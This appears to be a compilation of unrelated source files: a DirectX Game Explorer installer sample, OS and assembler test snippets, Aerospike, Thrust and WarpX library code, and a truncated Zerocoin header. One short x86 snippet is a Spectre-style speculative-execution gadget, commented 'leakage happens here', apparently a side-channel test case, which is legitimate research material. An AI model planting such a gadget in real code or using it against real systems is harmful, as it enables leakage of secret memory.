if( *strCmdLine == L'/' || *strCmdLine == L'-' )
{
strCmdLine++;
if( IsNextArg( strCmdLine, L"enum" ) )
{
pSettings->bEnumMode = true;
continue;
}
if( IsNextArg( strCmdLine, L"u" ) )
{
pSettings->bUninstall = true;
continue;
}
if( IsNextArg( strCmdLine, L"allusers" ) )
{
pSettings->bAllUsers = true;
continue;
}
if( IsNextArg( strCmdLine, L"installpath" ) )
{
if( iArg + 1 < nNumArgs )
{
strArg = pstrArgList[++iArg];
StringCchCopy( pSettings->strInstallPath, MAX_PATH, strArg );
continue;
}
if( !pSettings->bSilent )
MessageBox( NULL, L"Incorrect flag usage: /installpath\n", L"GDFInstall", MB_OK );
continue;
}
if( IsNextArg( strCmdLine, L"silent" ) )
{
pSettings->bSilent = true;
continue;
}
if( IsNextArg( strCmdLine, L"?" ) )
{
DisplayUsage();
return false;
}
}
else
{
// Handle non-flag args as seperate input files
PathCombine( pSettings->strGDFBinPath, pSettings->strInstallPath, strCmdLine );
continue;
}
}
LocalFree( pstrArgList );
return true;
}
//--------------------------------------------------------------------------------------
bool IsNextArg( WCHAR*& strCmdLine, WCHAR* strArg )
{
int nArgLen = ( int )wcslen( strArg );
if( _wcsnicmp( strCmdLine, strArg, nArgLen ) == 0 && strCmdLine[nArgLen] == 0 )
return true;
return false;
}
//--------------------------------------------------------------------------------------
void DisplayUsage()
{
MessageBox( NULL,
L"GDFInstall - a command line sample to show how to register with Game Explorer\n"
L"\n"
L"Usage: GDFInstall.exe [options] <gdf binary>\n"
L"\n"
L"where:\n"
L"\n"
L" [/silent]\t\tSilent mode. No message boxes\n"
L" [/enum]\t\tEnters enum mode where each installed GDF is enumerated\n"
L" \t\tand the user is prompted to uninstalled. Other arguments are ignored.\n"
L" [/u]\t\tUninstalls the game instead of installing\n"
L" [/allusers]\tInstalls the game for all users. Defaults to current user\n"
L" \t\tNote: This requires the process have adminstrator privledges\n"
L" [/installpath x]\tSets the install path for the game. Defaults to the current working directory\n"
L" <gdf binary>\tThe path to the GDF binary to install or remove.\n"
L" \t\tDefaults to GDFExampleBinary.dll in current working directory.\n"
L" \t\tGDFExampleBinary.dll is a sample GDF binary in the DXSDK.\n"
, L"GDFInstall", MB_OK );
}
|
global long_mode_start
extern rust_main
section .text
bits 64
long_mode_start:
; Load NULL into all data segment registers
mov ax, 0
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; Call the rust main
call rust_main
; print `OKAY` to screen
;mov rax, 0x2f592f412f4b2f4f
;mov qword [0xb8000], rax
hlt
|
[bits 64]
push dword 50 ; 6a 32
push dword -1 ; 6a ff
push strict dword 50 ; 68 32 00 00 00
push strict dword -1 ; 68 ff ff ff ff
push dword 1000000000000 ; 68 00 10 a5 d4 [warning: value does not fit in signed 32 bit field]
|
/*******************************************************************************
* Copyright 2013-2020 Aerospike, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
#include "client.h"
#include "async.h"
#include "command.h"
#include "conversions.h"
#include "policy.h"
#include "log.h"
#include "query.h"
extern "C" {
#include <aerospike/aerospike_query.h>
#include <aerospike/as_error.h>
#include <aerospike/as_policy.h>
#include <aerospike/as_query.h>
#include <aerospike/as_status.h>
}
using namespace v8;
NAN_METHOD(AerospikeClient::QueryAsync)
{
TYPE_CHECK_REQ(info[0], IsString, "Namespace must be a string");
TYPE_CHECK_OPT(info[1], IsString, "Set must be a string");
TYPE_CHECK_OPT(info[2], IsObject, "Options must be an object");
TYPE_CHECK_OPT(info[3], IsObject, "Policy must be an object");
TYPE_CHECK_REQ(info[4], IsFunction, "Callback must be a function");
AerospikeClient* client = Nan::ObjectWrap::Unwrap<AerospikeClient>(info.This());
AsyncCommand* cmd = new AsyncCommand("Query", client, info[4].As<Function>());
LogInfo* log = client->log;
as_query query;
as_policy_query policy;
as_policy_query* p_policy = NULL;
as_status status;
setup_query(&query, info[0], info[1], info[2], log);
if (info[3]->IsObject()) {
if (querypolicy_from_jsobject(&policy, info[3].As<Object>(), log) != AS_NODE_PARAM_OK) {
CmdErrorCallback(cmd, AEROSPIKE_ERR_PARAM, "Policy object invalid");
goto Cleanup;
}
p_policy = &policy;
}
as_v8_debug(log, "Sending async query command");
status = aerospike_query_async(client->as, &cmd->err, p_policy, &query, async_scan_listener, cmd, NULL);
if (status == AEROSPIKE_OK) {
cmd = NULL; // async callback responsible for deleting the command
} else {
cmd->ErrorCallback();
}
Cleanup:
delete cmd;
free_query(&query, p_policy);
}
|
.intel_syntax noprefix
LFENCE
# delay the cond. jump
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
LEA rbx, [rbx + rax + 1]
# reduce the entropy in rbx
AND rbx, 0b1000000
CMP rbx, 0
JE .l1 # misprediction
# rbx != 0
MOV rax, [r14]
SHL rax, 2
AND rax, 0b111111000000
MOV rax, [r14 + rax + 128] # leakage happens here
.l1:
MFENCE
|
/*
* Copyright 2008-2013 NVIDIA Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*! \file sequence.inl
* \brief Inline file for sequence.h.
*/
#include <thrust/detail/config.h>
#include <thrust/sequence.h>
#include <thrust/iterator/iterator_traits.h>
#include <thrust/system/detail/generic/select_system.h>
#include <thrust/system/detail/generic/sequence.h>
#include <thrust/system/detail/adl/sequence.h>
namespace thrust
{
__thrust_exec_check_disable__
template<typename DerivedPolicy, typename ForwardIterator>
__host__ __device__
void sequence(const thrust::detail::execution_policy_base<DerivedPolicy> &exec,
ForwardIterator first,
ForwardIterator last)
{
using thrust::system::detail::generic::sequence;
return sequence(thrust::detail::derived_cast(thrust::detail::strip_const(exec)), first, last);
} // end sequence()
__thrust_exec_check_disable__
template<typename DerivedPolicy, typename ForwardIterator, typename T>
__host__ __device__
void sequence(const thrust::detail::execution_policy_base<DerivedPolicy> &exec,
ForwardIterator first,
ForwardIterator last,
T init)
{
using thrust::system::detail::generic::sequence;
return sequence(thrust::detail::derived_cast(thrust::detail::strip_const(exec)), first, last, init);
} // end sequence()
__thrust_exec_check_disable__
template<typename DerivedPolicy, typename ForwardIterator, typename T>
__host__ __device__
void sequence(const thrust::detail::execution_policy_base<DerivedPolicy> &exec,
ForwardIterator first,
ForwardIterator last,
T init,
T step)
{
using thrust::system::detail::generic::sequence;
return sequence(thrust::detail::derived_cast(thrust::detail::strip_const(exec)), first, last, init, step);
} // end sequence()
template<typename ForwardIterator>
void sequence(ForwardIterator first,
ForwardIterator last)
{
using thrust::system::detail::generic::select_system;
typedef typename thrust::iterator_system<ForwardIterator>::type System;
System system;
return thrust::sequence(select_system(system), first, last);
} // end sequence()
template<typename ForwardIterator, typename T>
void sequence(ForwardIterator first,
ForwardIterator last,
T init)
{
using thrust::system::detail::generic::select_system;
typedef typename thrust::iterator_system<ForwardIterator>::type System;
System system;
return thrust::sequence(select_system(system), first, last, init);
} // end sequence()
template<typename ForwardIterator, typename T>
void sequence(ForwardIterator first,
ForwardIterator last,
T init,
T step)
{
using thrust::system::detail::generic::select_system;
typedef typename thrust::iterator_system<ForwardIterator>::type System;
System system;
return thrust::sequence(select_system(system), first, last, init, step);
} // end sequence()
} // end namespace thrust
|
lda {c1},x
sta {m1}
lda #0
sta {m1}+1
|
#include "FlushFormatPlotfile.H"
#include "Diagnostics/ParticleDiag/ParticleDiag.H"
#include "Particles/Filter/FilterFunctors.H"
#include "Particles/WarpXParticleContainer.H"
#include "Particles/ParticleBuffer.H"
#include "Utils/Interpolate.H"
#include "Utils/WarpXProfilerWrapper.H"
#include "WarpX.H"
#include <AMReX.H>
#include <AMReX_Box.H>
#include <AMReX_BoxArray.H>
#include <AMReX_Config.H>
#include <AMReX_GpuAllocators.H>
#include <AMReX_GpuQualifiers.H>
#include <AMReX_IntVect.H>
#include <AMReX_MakeType.H>
#include <AMReX_MultiFab.H>
#include <AMReX_PODVector.H>
#include <AMReX_ParallelDescriptor.H>
#include <AMReX_ParmParse.H>
#include <AMReX_ParticleIO.H>
#include <AMReX_Particles.H>
#include <AMReX_PlotFileUtil.H>
#include <AMReX_Print.H>
#include <AMReX_REAL.H>
#include <AMReX_Utility.H>
#include <AMReX_VisMF.H>
#include <AMReX_buildInfo.H>
#ifdef AMREX_USE_OMP
# include <omp.h>
#endif
#include <algorithm>
#include <array>
#include <cstring>
#include <fstream>
#include <map>
#include <memory>
#include <utility>
#include <vector>
using namespace amrex;
namespace
{
const std::string default_level_prefix {"Level_"};
}
void
FlushFormatPlotfile::WriteToFile (
const amrex::Vector<std::string> varnames,
const amrex::Vector<amrex::MultiFab>& mf,
amrex::Vector<amrex::Geometry>& geom,
const amrex::Vector<int> iteration, const double time,
const amrex::Vector<ParticleDiag>& particle_diags, int nlev,
const std::string prefix, int file_min_digits, bool plot_raw_fields,
bool plot_raw_fields_guards, bool plot_raw_rho, bool plot_raw_F,
bool /*isBTD*/, int /*snapshotID*/, const amrex::Geometry& /*full_BTD_snapshot*/,
bool /*isLastBTDFlush*/) const
{
WARPX_PROFILE("FlushFormatPlotfile::WriteToFile()");
auto & warpx = WarpX::GetInstance();
const std::string& filename = amrex::Concatenate(prefix, iteration[0], file_min_digits);
amrex::Print() << " Writing plotfile " << filename << "\n";
Vector<std::string> rfs;
VisMF::Header::Version current_version = VisMF::GetHeaderVersion();
VisMF::SetHeaderVersion(amrex::VisMF::Header::Version_v1);
if (plot_raw_fields) rfs.emplace_back("raw_fields");
amrex::WriteMultiLevelPlotfile(filename, nlev,
amrex::GetVecOfConstPtrs(mf),
varnames, geom,
static_cast<Real>(time), iteration, warpx.refRatio(),
"HyperCLaw-V1.1",
"Level_",
"Cell",
rfs
);
WriteAllRawFields(plot_raw_fields, nlev, filename, plot_raw_fields_guards,
plot_raw_rho, plot_raw_F);
WriteParticles(filename, particle_diags);
WriteJobInfo(filename);
WriteWarpXHeader(filename, geom);
VisMF::SetHeaderVersion(current_version);
}
void
FlushFormatPlotfile::WriteJobInfo(const std::string& dir) const
{
auto & warpx = WarpX::GetInstance();
if (ParallelDescriptor::IOProcessor())
{
// job_info file with details about the run
std::ofstream jobInfoFile;
std::string FullPathJobInfoFile = dir;
std::string PrettyLine = std::string(78, '=') + "\n";
// std::string OtherLine = std::string(78, '-') + "\n";
// std::string SkipSpace = std::string(8, ' ') + "\n";
FullPathJobInfoFile += "/warpx_job_info";
jobInfoFile.open(FullPathJobInfoFile.c_str(), std::ios::out);
// job information
jobInfoFile << PrettyLine;
jobInfoFile << " WarpX Job Information\n";
jobInfoFile << PrettyLine;
jobInfoFile << "number of MPI processes: " << ParallelDescriptor::NProcs() << "\n";
#ifdef AMREX_USE_OMP
jobInfoFile << "number of threads: " << omp_get_max_threads() << "\n";
#endif
jobInfoFile << "\n\n";
// build information
jobInfoFile << PrettyLine;
jobInfoFile << " Build Information\n";
jobInfoFile << PrettyLine;
jobInfoFile << "build date: " << buildInfoGetBuildDate() << "\n";
jobInfoFile << "build machine: " << buildInfoGetBuildMachine() << "\n";
jobInfoFile << "build dir: " << buildInfoGetBuildDir() << "\n";
jobInfoFile << "AMReX dir: " << buildInfoGetAMReXDir() << "\n";
jobInfoFile << "\n";
jobInfoFile << "COMP: " << buildInfoGetComp() << "\n";
jobInfoFile << "COMP version: " << buildInfoGetCompVersion() << "\n";
jobInfoFile << "\n";
jobInfoFile << "C++ compiler: " << buildInfoGetCXXName() << "\n";
jobInfoFile << "C++ flags: " << buildInfoGetCXXFlags() << "\n";
jobInfoFile << "\n";
jobInfoFile << "Fortran comp: " << buildInfoGetFName() << "\n";
jobInfoFile << "Fortran flags: " << buildInfoGetFFlags() << "\n";
jobInfoFile << "\n";
jobInfoFile << "Link flags: " << buildInfoGetLinkFlags() << "\n";
jobInfoFile << "Libraries: " << buildInfoGetLibraries() << "\n";
jobInfoFile << "\n";
const char* githash1 = buildInfoGetGitHash(1);
const char* githash2 = buildInfoGetGitHash(2);
const char* githash3 = buildInfoGetGitHash(3);
if (strlen(githash1) > 0) {
jobInfoFile << "WarpX git describe: " << githash1 << "\n";
}
if (strlen(githash2) > 0) {
jobInfoFile << "AMReX git describe: " << githash2 << "\n";
}
if (strlen(githash3) > 0) {
jobInfoFile << "PICSAR git describe: " << githash3 << "\n";
}
jobInfoFile << "\n\n";
// grid information
jobInfoFile << PrettyLine;
jobInfoFile << " Grid Information\n";
jobInfoFile << PrettyLine;
for (int i = 0; i <= warpx.finestLevel(); i++)
{
jobInfoFile << " level: " << i << "\n";
jobInfoFile << " number of boxes = " << warpx.boxArray(i).size() << "\n";
jobInfoFile << " maximum zones = ";
for (int n = 0; n < AMREX_SPACEDIM; n++)
{
jobInfoFile << warpx.Geom(i).Domain().length(n) << " ";
}
jobInfoFile << "\n\n";
}
jobInfoFile << " Boundary conditions\n";
jobInfoFile << " -x: " << "interior" << "\n";
jobInfoFile << " +x: " << "interior" << "\n";
if (AMREX_SPACEDIM >= 2) {
jobInfoFile << " -y: " << "interior" << "\n";
jobInfoFile << " +y: " << "interior" << "\n";
}
if (AMREX_SPACEDIM == 3) {
jobInfoFile << " -z: " << "interior" << "\n";
jobInfoFile << " +z: " << "interior" << "\n";
}
jobInfoFile << "\n\n";
// runtime parameters
jobInfoFile << PrettyLine;
jobInfoFile << " Inputs File Parameters\n";
jobInfoFile << PrettyLine;
ParmParse::dumpTable(jobInfoFile, true);
jobInfoFile.close();
}
}
void
FlushFormatPlotfile::WriteWarpXHeader(
const std::string& name,
amrex::Vector<amrex::Geometry>& geom) const
{
auto & warpx = WarpX::GetInstance();
if (ParallelDescriptor::IOProcessor())
{
VisMF::IO_Buffer io_buffer(VisMF::IO_Buffer_Size);
std::ofstream HeaderFile;
HeaderFile.rdbuf()->pubsetbuf(io_buffer.dataPtr(), io_buffer.size());
std::string HeaderFileName(name + "/WarpXHeader");
HeaderFile.open(HeaderFileName.c_str(), std::ofstream::out |
std::ofstream::trunc |
std::ofstream::binary);
if( ! HeaderFile.good())
amrex::FileOpenFailed(HeaderFileName);
HeaderFile.precision(17);
HeaderFile << "Checkpoint version: 1\n";
const int nlevels = warpx.finestLevel()+1;
HeaderFile << nlevels << "\n";
for (int i = 0; i < warpx.getistep().size(); ++i) {
HeaderFile << warpx.getistep(i) << " ";
}
HeaderFile << "\n";
for (int i = 0; i < warpx.getnsubsteps().size(); ++i) {
HeaderFile << warpx.getnsubsteps(i) << " ";
}
HeaderFile << "\n";
for (int i = 0; i < warpx.gett_new().size(); ++i) {
HeaderFile << warpx.gett_new(i) << " ";
}
HeaderFile << "\n";
for (int i = 0; i < warpx.gett_old().size(); ++i) {
HeaderFile << warpx.gett_old(i) << " ";
}
HeaderFile << "\n";
for (int i = 0; i < warpx.getdt().size(); ++i) {
HeaderFile << warpx.getdt(i) << " ";
}
HeaderFile << "\n";
HeaderFile << warpx.getmoving_window_x() << "\n";
HeaderFile << warpx.getis_synchronized() << "\n";
// Geometry
for (int i = 0; i < AMREX_SPACEDIM; ++i) {
HeaderFile << geom[0].ProbLo(i) << ' ';
}
HeaderFile << '\n';
for (int i = 0; i < AMREX_SPACEDIM; ++i) {
HeaderFile << geom[0].ProbHi(i) << ' ';
}
HeaderFile << '\n';
// BoxArray
for (int lev = 0; lev < nlevels; ++lev) {
warpx.boxArray(lev).writeOn(HeaderFile);
HeaderFile << '\n';
}
warpx.GetPartContainer().WriteHeader(HeaderFile);
HeaderFile << warpx.getcurrent_injection_position() << "\n";
HeaderFile << warpx.getdo_moving_window() << "\n";
HeaderFile << warpx.time_of_last_gal_shift << "\n";
}
}
void
FlushFormatPlotfile::WriteParticles (const std::string& dir,
const amrex::Vector<ParticleDiag>& particle_diags) const
{
for (unsigned i = 0, n = particle_diags.size(); i < n; ++i) {
WarpXParticleContainer* pc = particle_diags[i].getParticleContainer();
auto tmp = ParticleBuffer::getTmpPC<amrex::PinnedArenaAllocator>(pc);
Vector<std::string> real_names;
Vector<std::string> int_names;
Vector<int> int_flags;
Vector<int> real_flags;
real_names.push_back("weight");
real_names.push_back("momentum_x");
real_names.push_back("momentum_y");
real_names.push_back("momentum_z");
#ifdef WARPX_DIM_RZ
real_names.push_back("theta");
#endif
// get the names of the real comps
real_names.resize(pc->NumRealComps());
auto runtime_rnames = pc->getParticleRuntimeComps();
for (auto const& x : runtime_rnames) { real_names[x.second+PIdx::nattribs] = x.first; }
// plot any "extra" fields by default
real_flags = particle_diags[i].plot_flags;
real_flags.resize(pc->NumRealComps(), 1);
// and the names
int_names.resize(pc->NumIntComps());
auto runtime_inames = pc->getParticleRuntimeiComps();
for (auto const& x : runtime_inames) { int_names[x.second+0] = x.first; }
// plot by default
int_flags.resize(pc->NumIntComps(), 1);
pc->ConvertUnits(ConvertDirection::WarpX_to_SI);
RandomFilter const random_filter(particle_diags[i].m_do_random_filter,
particle_diags[i].m_random_fraction);
UniformFilter const uniform_filter(particle_diags[i].m_do_uniform_filter,
particle_diags[i].m_uniform_stride);
ParserFilter parser_filter(particle_diags[i].m_do_parser_filter,
compileParser<ParticleDiag::m_nvars>
(particle_diags[i].m_particle_filter_parser.get()),
pc->getMass());
parser_filter.m_units = InputUnits::SI;
GeometryFilter const geometry_filter(particle_diags[i].m_do_geom_filter,
particle_diags[i].m_diag_domain);
using SrcData = WarpXParticleContainer::ParticleTileType::ConstParticleTileDataType;
tmp.copyParticles(*pc,
[=] AMREX_GPU_HOST_DEVICE (const SrcData& src, int ip, const amrex::RandomEngine& engine)
{
const SuperParticleType& p = src.getSuperParticle(ip);
return random_filter(p, engine) * uniform_filter(p, engine)
* parser_filter(p, engine) * geometry_filter(p, engine);
}, true);
// real_names contains a list of all particle attributes.
// real_flags & int_flags are 1 or 0, whether quantity is dumped or not.
tmp.WritePlotFile(
dir, particle_diags[i].getSpeciesName(),
real_flags, int_flags,
real_names, int_names);
pc->ConvertUnits(ConvertDirection::SI_to_WarpX);
}
}
/** \brief Write the data from MultiFab `F` into the file `filename`
* as a raw field (i.e. no interpolation to cell centers).
* Write guard cells if `plot_guards` is True.
*/
void
WriteRawMF ( const MultiFab& F, const DistributionMapping& dm,
const std::string& filename,
const std::string& level_prefix,
const std::string& field_name,
const int lev, const bool plot_guards )
{
std::string prefix = amrex::MultiFabFileFullPrefix(lev,
filename, level_prefix, field_name);
if (plot_guards) {
// Dump original MultiFab F
VisMF::Write(F, prefix);
} else {
// Copy original MultiFab into one that does not have guard cells
MultiFab tmpF( F.boxArray(), dm, F.nComp(), 0);
MultiFab::Copy(tmpF, F, 0, 0, F.nComp(), 0);
VisMF::Write(tmpF, prefix);
}
}
/** \brief Write a multifab of the same shape as `F` but filled with 0.
* (The shape includes guard cells if `plot_guards` is True.)
* This is mainly needed because the yt reader requires all levels of the
* coarse/fine patch to be written, but WarpX does not have data for
* the coarse patch of level 0 (meaningless).
*/
void
WriteZeroRawMF( const MultiFab& F, const DistributionMapping& dm,
const std::string& filename,
const std::string& level_prefix,
const std::string& field_name,
const int lev, const IntVect ng )
{
std::string prefix = amrex::MultiFabFileFullPrefix(lev,
filename, level_prefix, field_name);
MultiFab tmpF(F.boxArray(), dm, F.nComp(), ng);
tmpF.setVal(0.);
VisMF::Write(tmpF, prefix);
}
/** \brief Write the coarse vector multifab `F*_cp` to the file `filename`
* *after* sampling/interpolating its value on the fine grid corresponding
* to `F*_fp`. This is mainly needed because the yt reader requires the
* coarse and fine patch to have the same shape.
*/
void
WriteCoarseVector( const std::string field_name,
const MultiFab* Fx_cp,
const MultiFab* Fy_cp,
const MultiFab* Fz_cp,
const MultiFab* Fx_fp,
const MultiFab* Fy_fp,
const MultiFab* Fz_fp,
const DistributionMapping& dm,
const std::string& filename,
const std::string& level_prefix,
const int lev, const bool plot_guards )
{
IntVect ng(0);
if (plot_guards) ng = Fx_fp->nGrowVect();
if (lev == 0) {
// No coarse field for level 0: instead write a MultiFab
// filled with 0, with the same number of cells as the _fp field
WriteZeroRawMF( *Fx_fp, dm, filename, level_prefix, field_name+"x_cp", lev, ng );
WriteZeroRawMF( *Fy_fp, dm, filename, level_prefix, field_name+"y_cp", lev, ng );
WriteZeroRawMF( *Fz_fp, dm, filename, level_prefix, field_name+"z_cp", lev, ng );
} else {
// Interpolate coarse data onto fine grid
const int r_ratio = WarpX::GetInstance().refRatio(lev-1)[0];
const Real* dx = WarpX::GetInstance().Geom(lev-1).CellSize();
auto F = Interpolate::getInterpolatedVector( Fx_cp, Fy_cp, Fz_cp, Fx_fp, Fy_fp, Fz_fp,
dm, r_ratio, dx, ng );
// Write interpolated raw data
WriteRawMF( *F[0], dm, filename, level_prefix, field_name+"x_cp", lev, plot_guards );
WriteRawMF( *F[1], dm, filename, level_prefix, field_name+"y_cp", lev, plot_guards );
WriteRawMF( *F[2], dm, filename, level_prefix, field_name+"z_cp", lev, plot_guards );
}
}
/** \brief Write the coarse scalar multifab `F_cp` to the file `filename`
* *after* sampling/interpolating its value on the fine grid corresponding
* to `F_fp`. This is mainly needed because the yt reader requires the
* coarse and fine patch to have the same shape.
*/
void
WriteCoarseScalar( const std::string field_name,
const MultiFab* F_cp,
const MultiFab* F_fp,
const DistributionMapping& dm,
const std::string& filename,
const std::string& level_prefix,
const int lev, const bool plot_guards,
const int icomp )
{
IntVect ng(0);
if (plot_guards) ng = F_fp->nGrowVect();
if (lev == 0) {
// No coarse field for level 0: instead write a MultiFab
// filled with 0, with the same number of cells as the _fp field
WriteZeroRawMF( *F_fp, dm, filename, level_prefix, field_name+"_cp", lev, ng );
} else {
// Create an alias to the component `icomp` of F_cp
MultiFab F_comp(*F_cp, amrex::make_alias, icomp, 1);
// Interpolate coarse data onto fine grid
const int r_ratio = WarpX::GetInstance().refRatio(lev-1)[0];
const Real* dx = WarpX::GetInstance().Geom(lev-1).CellSize();
auto F = Interpolate::getInterpolatedScalar( F_comp, *F_fp, dm, r_ratio, dx, ng );
// Write interpolated raw data
WriteRawMF( *F, dm, filename, level_prefix, field_name+"_cp", lev, plot_guards );
}
}
void
FlushFormatPlotfile::WriteAllRawFields(
const bool plot_raw_fields, const int nlevels, const std::string& plotfilename,
const bool plot_raw_fields_guards, const bool plot_raw_rho, bool plot_raw_F) const
{
if (!plot_raw_fields) return;
auto & warpx = WarpX::GetInstance();
for (int lev = 0; lev < nlevels; ++lev)
{
const std::unique_ptr<MultiFab> empty_ptr;
const std::string raw_pltname = plotfilename + "/raw_fields";
const DistributionMapping& dm = warpx.DistributionMap(lev);
// Auxiliary patch
WriteRawMF( warpx.getEfield(lev, 0), dm, raw_pltname, default_level_prefix, "Ex_aux", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getEfield(lev, 1), dm, raw_pltname, default_level_prefix, "Ey_aux", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getEfield(lev, 2), dm, raw_pltname, default_level_prefix, "Ez_aux", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield(lev, 0), dm, raw_pltname, default_level_prefix, "Bx_aux", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield(lev, 1), dm, raw_pltname, default_level_prefix, "By_aux", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield(lev, 2), dm, raw_pltname, default_level_prefix, "Bz_aux", lev, plot_raw_fields_guards);
// fine patch
WriteRawMF( warpx.getEfield_fp(lev, 0), dm, raw_pltname, default_level_prefix, "Ex_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getEfield_fp(lev, 1), dm, raw_pltname, default_level_prefix, "Ey_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getEfield_fp(lev, 2), dm, raw_pltname, default_level_prefix, "Ez_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getcurrent_fp(lev, 0), dm, raw_pltname, default_level_prefix, "jx_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getcurrent_fp(lev, 1), dm, raw_pltname, default_level_prefix, "jy_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getcurrent_fp(lev, 2), dm, raw_pltname, default_level_prefix, "jz_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield_fp(lev, 0), dm, raw_pltname, default_level_prefix, "Bx_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield_fp(lev, 1), dm, raw_pltname, default_level_prefix, "By_fp", lev, plot_raw_fields_guards);
WriteRawMF( warpx.getBfield_fp(lev, 2), dm, raw_pltname, default_level_prefix, "Bz_fp", lev, plot_raw_fields_guards);
if (plot_raw_F) {
if (warpx.get_pointer_F_fp(lev) == nullptr) {
amrex::Warning("The user requested to write raw F data, but F_fp was not allocated");
} else {
WriteRawMF(warpx.getF_fp(lev), dm, raw_pltname, default_level_prefix, "F_fp", lev, plot_raw_fields_guards);
}
}
if (plot_raw_rho) {
if (warpx.get_pointer_rho_fp(lev) == nullptr) {
amrex::Warning("The user requested to write raw rho data, but rho_fp was not allocated");
} else {
// Use the component 1 of `rho_fp`, i.e. rho_new for time synchronization
// If nComp > 1, this is the upper half of the list of components.
MultiFab rho_new(warpx.getrho_fp(lev), amrex::make_alias, warpx.getrho_fp(lev).nComp()/2, warpx.getrho_fp(lev).nComp()/2);
WriteRawMF(rho_new, dm, raw_pltname, default_level_prefix, "rho_fp", lev, plot_raw_fields_guards);
}
}
if (warpx.get_pointer_phi_fp(lev) != nullptr) {
WriteRawMF(warpx.getphi_fp(lev), dm, raw_pltname, default_level_prefix, "phi_fp", lev, plot_raw_fields_guards);
}
// Averaged fields on fine patch
if (warpx.fft_do_time_averaging)
{
WriteRawMF(warpx.getEfield_avg_fp(lev, 0) , dm, raw_pltname, default_level_prefix,
"Ex_avg_fp", lev, plot_raw_fields_guards);
WriteRawMF(warpx.getEfield_avg_fp(lev, 1) , dm, raw_pltname, default_level_prefix,
"Ey_avg_fp", lev, plot_raw_fields_guards);
WriteRawMF(warpx.getEfield_avg_fp(lev, 2) , dm, raw_pltname, default_level_prefix,
"Ez_avg_fp", lev, plot_raw_fields_guards);
WriteRawMF(warpx.getBfield_avg_fp(lev, 0) , dm, raw_pltname, default_level_prefix,
"Bx_avg_fp", lev, plot_raw_fields_guards);
WriteRawMF(warpx.getBfield_avg_fp(lev, 1) , dm, raw_pltname, default_level_prefix,
"By_avg_fp", lev, plot_raw_fields_guards);
WriteRawMF(warpx.getBfield_avg_fp(lev, 2) , dm, raw_pltname, default_level_prefix,
"Bz_avg_fp", lev, plot_raw_fields_guards);
}
// Coarse path
if (lev > 0) {
WriteCoarseVector( "E",
warpx.get_pointer_Efield_cp(lev, 0), warpx.get_pointer_Efield_cp(lev, 1), warpx.get_pointer_Efield_cp(lev, 2),
warpx.get_pointer_Efield_fp(lev, 0), warpx.get_pointer_Efield_fp(lev, 1), warpx.get_pointer_Efield_fp(lev, 2),
dm, raw_pltname, default_level_prefix, lev, plot_raw_fields_guards);
WriteCoarseVector( "B",
warpx.get_pointer_Bfield_cp(lev, 0), warpx.get_pointer_Bfield_cp(lev, 1), warpx.get_pointer_Bfield_cp(lev, 2),
warpx.get_pointer_Bfield_fp(lev, 0), warpx.get_pointer_Bfield_fp(lev, 1), warpx.get_pointer_Bfield_fp(lev, 2),
dm, raw_pltname, default_level_prefix, lev, plot_raw_fields_guards);
WriteCoarseVector( "j",
warpx.get_pointer_current_cp(lev, 0), warpx.get_pointer_current_cp(lev, 1), warpx.get_pointer_current_cp(lev, 2),
warpx.get_pointer_current_fp(lev, 0), warpx.get_pointer_current_fp(lev, 1), warpx.get_pointer_current_fp(lev, 2),
dm, raw_pltname, default_level_prefix, lev, plot_raw_fields_guards);
if (plot_raw_F) {
if (warpx.get_pointer_F_fp(lev) == nullptr) {
amrex::Warning("The user requested to write raw F data, but F_fp was not allocated");
} else if (warpx.get_pointer_F_cp(lev) == nullptr) {
amrex::Warning("The user requested to write raw F data, but F_cp was not allocated");
} else {
WriteCoarseScalar("F", warpx.get_pointer_F_cp(lev), warpx.get_pointer_F_fp(lev),
dm, raw_pltname, default_level_prefix, lev, plot_raw_fields_guards, 0);
}
}
if (plot_raw_rho) {
if (warpx.get_pointer_rho_fp(lev) == nullptr) {
amrex::Warning("The user requested to write raw rho data, but rho_fp was not allocated");
} else if (warpx.get_pointer_rho_cp(lev) == nullptr) {
amrex::Warning("The user requested to write raw rho data, but rho_cp was not allocated");
} else {
// Use the component 1 of `rho_cp`, i.e. rho_new for time synchronization
WriteCoarseScalar("rho", warpx.get_pointer_rho_cp(lev), warpx.get_pointer_rho_fp(lev),
dm, raw_pltname, default_level_prefix, lev, plot_raw_fields_guards, 1);
}
}
}
}
}
|
/**
* @file Commitment.cpp
*
* @brief Commitment and CommitmentProof classes for the Zerocoin library.
*
* @author Ian Miers, Christina Garman and Matthew Green
* @date June 2013
*
* @copyright Copyright 2013 Ian Miers, Christina Garman and Matthew Green
* @license This project is released under the MIT license.
**/
// Copyright (c) 2017 The PIVX developers
#include <stdlib.h>
